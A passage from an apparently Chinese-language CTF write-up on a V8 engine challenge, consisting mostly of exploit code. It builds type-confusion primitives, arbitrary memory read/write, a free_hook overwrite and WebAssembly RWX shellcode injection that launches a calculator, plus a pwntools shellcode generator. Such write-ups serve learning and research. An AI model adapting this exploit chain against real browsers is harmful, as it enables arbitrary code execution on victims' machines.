punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> bigUint64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//float to integer</span><span class="token keyword">function</span> <span class="token function">f2i</span><span class="token punctuation">(</span><span class="token parameter">f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">;</span><span class="token keyword">return</span> bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//integer to float</span><span class="token keyword">function</span> <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span><span class="token keyword">return</span> float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//hex</span><span class="token keyword">function</span> <span class="token function">hex</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">return</span> i<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">,</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//create fake array obj</span><span class="token keyword">var</span> fake_array <span class="token operator">=</span> <span class="token punctuation">[</span>    float_array_map<span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x41414141n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x1000000000n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token number">1.1</span><span class="token punctuation">,</span>    <span class="token number">2.2</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> fake_obj_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>fake_array<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x40n</span> <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">;</span><span class="token comment">//console.log('fake_obj_addr = ' + hex(fake_obj_addr));</span><span class="token keyword">var</span> fake_obj <span class="token operator">=</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span>fake_obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token function">f2i</span><span class="token punctuation">(</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> data<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">write64</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> buf_backing_store_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span> <span class="token operator">+</span> <span class="token number">0x20n</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">write64_view</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token function">write64</span><span class="token punctuation">(</span>buf_backing_store_addr<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">;</span>data_view<span class="token punctuation">.</span><span class="token function">setFloat64</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token function">i2f</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> code_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token function">addressOf</span><span class="token punctuation">(</span>a<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0x30n</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'code_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>code_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> v8_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>code_addr <span class="token operator">+</span> <span class="token number">0x42n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> v8_base <span class="token operator">=</span> v8_addr <span class="token operator">-</span> <span class="token number">0x94f780n</span> <span class="token operator">-</span> <span class="token number">0x679000n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'v8_base = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>v8_base<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> free_got_addr <span class="token operator">=</span> v8_base <span class="token operator">+</span> <span class="token number">0x12aa8b8n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'free_got = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>free_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> free_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>free_got_addr<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'free = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>free_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> lbase <span class="token operator">=</span> free_addr <span class="token operator">-</span> <span class="token number">0x9d850n</span><span class="token punctuation">;</span><span class="token keyword">var</span> free_hook <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x1eeb28n</span><span class="token punctuation">;</span><span class="token keyword">var</span> system <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x55410n</span><span class="token punctuation">;</span><span class="token function">write64_view</span><span class="token punctuation">(</span>free_hook<span class="token punctuation">,</span> system<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">function</span> <span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> cmd <span class="token operator">=</span> <span class="token string">"gnome-calculator\x00"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">write64_view</span><span class="token punctuation">(</span>free_hook<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>成功执行命令弹出计算器：<br><img src="/images/3b546c3b/pasted-27.png" alt="pwn1"></p><p>题目的 chrome 可执行文件，got 表的偏移不太一样，修改后，泄露地址都是正确的，但是不知道为什么这种方式没有成功弹出计算器</p><h4 id="非传统利用方式"><a href="#非传统利用方式" class="headerlink" title="非传统利用方式"></a>非传统利用方式</h4><p>另一种方式和 WASM 有关系，首先利用这个网站 <a href="https://wasdk.github.io/WasmFiddle/，生成一段">https://wasdk.github.io/WasmFiddle/，生成一段</a> wasm<br><img src="/images/3b546c3b/pasted-28.png" alt="pwn2_1"></p><p>调试下面代码</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> wasmCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">115</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">133</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">96</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">127</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">130</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">112</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">131</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">129</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">145</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">101</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">111</span><span class="token punctuation">,</span><span class="token number">114</span><span class="token punctuation">,</span><span class="token number">121</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">105</span><span class="token punctuation">,</span><span class="token number">110</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">10</span><span class="token punctuation">,</span><span class="token number">138</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">65</span><span class="token punctuation">,</span><span class="token number">42</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmModule <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Module</span><span class="token punctuation">(</span>wasmCode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmInstance <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Instance</span><span class="token punctuation">(</span>wasmModule<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> f <span class="token operator">=</span> wasmInstance<span class="token punctuation">.</span>exports<span class="token punctuation">.</span>main<span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到，执行了 WASM 输出了 main 函数的返回值 42<br><img src="/images/3b546c3b/pasted-29.png" alt="pwn2_2"></p><p>但是 WASM 肯定是不能想执行什么就执行什么的，浏览器是不允许 WASM 直接调用系统函数的，只能做一些数学计算等，但是 WASM 管理了一块 RWX 属性的内存段，每当调用 WASM 的函数，都会从这里开始执行指令，如果将这里改写为构造好的 shellcode，那么就可以达成执行任意 shellcode 的目的了</p><p>这里调试跟踪一下这块 RWX 内存的位置，首先查看 main 函数对象，找到 shared_info<br><img src="/images/3b546c3b/pasted-30.png" alt="pwn2_3"></p><p>再通过 shared_info 找到 data<br><img src="/images/3b546c3b/pasted-31.png" alt="pwn2_4"></p><p>再通过 data 找到 instance<br><img src="/images/3b546c3b/pasted-32.png" alt="pwn2_5"></p><p>在 instance 的固定偏移处可以找到这个 RWX 段的地址，这个固定偏移因编译参数环境等而异，本道题目则是 <code>+0x88</code><br><img src="/images/3b546c3b/pasted-33.png" alt="pwn2_6"></p><p>最后代码如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> f_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'f_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>f_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> shared_info_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>f_addr <span class="token operator">+</span> <span class="token number">0x18n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasm_exported_func_data_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>shared_info_addr <span class="token operator">+</span> <span class="token number">0x8n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasm_instance_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>wasm_exported_func_data_addr <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> rwx_page_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>wasm_instance_addr <span class="token operator">+</span> <span class="token number">0x88n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'rwx_page_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>rwx_page_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> sc_arr <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token comment">//shellcode</span><span class="token punctuation">]</span><span class="token keyword">var</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">.</span>length <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> buf_backing_store_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span> <span class="token operator">+</span> <span class="token number">0x20n</span><span class="token punctuation">;</span><span class="token function">write64</span><span class="token punctuation">(</span>buf_backing_store_addr<span class="token punctuation">,</span> rwx_page_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> sc_arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>data_view<span class="token punctuation">.</span><span class="token function">setFloat64</span><span class="token punctuation">(</span>i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token function">i2f</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%SystemBreak();</span><span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//pwn</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后就差 shellcode 了，这里写了一个脚本用来生成 shellcode，代码如下：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">def</span> <span class="token function">just8</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">:</span>    size <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span>    real_size <span class="token operator">=</span> size <span class="token keyword">if</span> size <span class="token operator">%</span> <span class="token number">8</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token keyword">else</span> size <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token number">8</span> <span class="token operator">-</span> size <span class="token operator">%</span> <span class="token number">8</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span>real_size<span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">to_js</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">:</span>    ret <span class="token operator">=</span> <span class="token string">'var sc_arr = ['</span>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">//</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">4</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>            ret <span class="token operator">+=</span> <span class="token string">'\n'</span>        x <span class="token operator">=</span> u64<span class="token punctuation">(</span>data<span class="token punctuation">[</span>i<span class="token punctuation">:</span>i<span class="token operator">+</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">)</span>                ret <span class="token operator">+=</span> <span class="token string">'\t'</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">'n,'</span>    ret <span class="token operator">+=</span> <span class="token string">'\n]\n'</span>    <span class="token keyword">return</span> ret<span class="token keyword">def</span> <span class="token function">call_exec</span><span class="token punctuation">(</span>path<span class="token punctuation">,</span> argv<span class="token punctuation">,</span> envp<span class="token punctuation">)</span><span class="token punctuation">:</span>    sc <span class="token operator">=</span> <span class="token string">''</span>        sc <span class="token operator">+=</span> shellcraft<span class="token punctuation">.</span>pushstr<span class="token punctuation">(</span>path<span class="token punctuation">)</span>    sc <span class="token operator">+=</span> shellcraft<span class="token punctuation">.</span>mov<span class="token punctuation">(</span><span class="token string">'rdi'</span><span class="token punctuation">,</span> <span class="token string">'rsp'</span><span class="token punctuation">)</span>        sc <span class="token operator">+=</span> shellcraft<span class="token punctuation">.</span>pushstr_array<span class="token punctuation">(</span><span class="token string">'rsi'</span><span class="token punctuation">,</span> argv<span class="token punctuation">)</span>    sc <span class="token operator">+=</span> shellcraft<span class="token punctuation">.</span>pushstr_array<span class="token punctuation">(</span><span class="token string">'rdx'</span><span class="token punctuation">,</span> envp<span class="token punctuation">)</span>    sc <span class="token operator">+=</span> shellcraft<span class="token punctuation">.</span>syscall<span class="token punctuation">(</span><span class="token string">'SYS_execve'</span><span class="token punctuation">)</span>     <span class="token keyword">return</span> sccontext<span class="token punctuation">.</span>os <span class="token operator">=</span> <span class="token string">'linux'</span>context<span class="token punctuation">.</span>arch <span class="token operator">=</span> <span class="token string">'amd64'</span>sc <span class="token operator">=</span> <span class="token string">''</span>sc <span class="token operator">=</span> call_exec<span class="token punctuation">(</span><span class="token string">'/usr/bin/xcalc'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">'xcalc'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">'DISPLAY=:0'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>sc<span class="token punctuation">)</span>data <span class="token operator">=</span> asm<span class="token punctuation">(</span>sc<span class="token punctuation">)</span>data <span class="token operator">=</span> just8<span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>to_js<span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>要注意的是，很多初学者都会遇到一个问题，execve 没法弹计算器，这是因为执行图形程序需要一个环境变量 DISPLAY，用来指定图形输出的设备，一般情况下写 <code>DISPLAY=:0</code> 即可</p><p>最终完整 exp 如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"a"</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> obj_array <span class="token operator">=</span> <span class="token punctuation">[</span>obj<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// leak map</span><span class="token keyword">var</span> obj_array_map <span class="token operator">=</span> obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array_map <span class="token operator">=</span> float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//leak address of obj</span><span class="token comment">//obj_to_leak: Object</span><span class="token comment">//return: integer</span><span class="token keyword">function</span> <span class="token function">addressOf</span><span class="token punctuation">(</span><span class="token parameter">obj_to_leak</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> obj_to_leak<span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//类型混淆</span><span class="token keyword">let</span> obj_addr <span class="token operator">=</span> obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//恢复类型</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//create fake object</span><span class="token comment">//addr_to_fake: interger</span><span class="token keyword">function</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span><span class="token parameter">addr_to_fake</span><span class="token 